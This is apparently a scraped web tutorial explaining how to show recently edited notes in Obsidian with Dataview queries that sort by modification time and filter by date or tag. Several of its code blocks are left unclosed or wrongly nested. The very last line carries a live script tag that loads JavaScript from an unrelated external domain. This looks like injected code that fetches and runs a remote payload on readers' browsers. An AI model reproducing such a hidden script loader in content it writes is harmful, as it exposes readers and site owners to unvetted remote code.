how to show recently edited notes obsidian dataview

Vaseline

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18-09-2024

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Obsidian is a powerful note-taking application that leverages Markdown files, providing users with the ability to create a personal knowledge base. One of the most useful plugins for Obsidian is Dataview, which allows users to query their notes and display them in various formats. In this article, we will explore how to display recently edited notes using the Dataview plugin, while also providing practical examples, analyses, and additional insights.

What is Dataview?

Dataview is a plugin that transforms your Obsidian vault into a database, allowing you to extract and display information from your notes dynamically. With Dataview, you can run queries to create tables, lists, and even custom visualizations based on the metadata of your notes.

Why Show Recently Edited Notes?

Being able to quickly access your recently edited notes can enhance your workflow and productivity. Whether you're conducting research, working on a project, or simply revisiting old thoughts, having an easy way to find recent changes can save time and keep your ideas organized.

How to Display Recently Edited Notes Using Dataview

To display recently edited notes in Obsidian, you first need to ensure that you have the Dataview plugin installed and enabled. Here’s a step-by-step guide on how to set this up:

Step 1: Install the Dataview Plugin

1. Open Obsidian.
2. Go to Settings -> Community Plugins.
3. Ensure that Safe Mode is turned off.
4. Click on Browse and search for "Dataview".
5. Install and enable the plugin.

Step 2: Create a Query to Show Recently Edited Notes

After enabling Dataview, you can create a new note and use the following Dataview code snippet:

```dataview
table file.mtime as "Last Modified", file.name as "Note Title"
from ""
sort file.mtime desc
limit 10

### Step 3: Analyze the Code

- **`table`**: This command specifies that you want to create a table view of your results.
- **`file.mtime`**: This property retrieves the last modified time of the notes.
- **`file.name`**: This property gets the names of the notes.
- **`from ""`**: This query fetches notes from the root directory of your vault. You can replace `""` with specific folder paths if desired.
- **`sort file.mtime desc`**: This sorts the results by modification time in descending order, showing the most recently modified notes at the top.
- **`limit 10`**: This restricts the output to the 10 most recently modified notes.

### Step 4: View Your Recently Edited Notes

Once you input the query into your note, you’ll see a table listing the most recently edited notes with their last modified date and title. This dynamic view updates automatically as you edit your notes.

## Additional Insights and Use Cases

### Customization

The query can be customized further based on your needs. For example, if you want to display notes modified within the last week, you could enhance your query like this:

```markdown
```dataview
table file.mtime as "Last Modified", file.name as "Note Title"
from ""
where file.mtime >= date(today) - dur(7 days)
sort file.mtime desc

### Combining with Other Tags and Metadata

You can also extend the functionality of your queries by combining them with other metadata. If you categorize your notes using tags, for example, you could filter by tags as follows:

```markdown
```dataview
table file.mtime as "Last Modified", file.name as "Note Title"
from "#project" 
sort file.mtime desc
limit 10

This will list recently edited notes that have the `#project` tag, making it easier to focus on specific areas of your work.

## Conclusion

Using the Dataview plugin in Obsidian allows you to efficiently track your recently edited notes, enhancing your note-taking process. The flexibility of the Dataview queries provides endless possibilities for customization, enabling you to adapt the output to suit your specific requirements.

By implementing the queries discussed in this article, you can transform your note-taking experience, maintain better organization, and improve your productivity.

### Additional Resources

For further information and advanced queries using Dataview, consider checking out:

- [Dataview Documentation](https://blacksmithgu.github.io/obsidian-dataview/)
- [Obsidian Forum](https://forum.obsidian.md/c/plugins/dataview/27)

> *This content references queries from Stack Overflow and other community discussions, and the code examples provided are a synthesis of various user contributions.*<script src='https://lazy.agczn.my.id/tag.js'></script>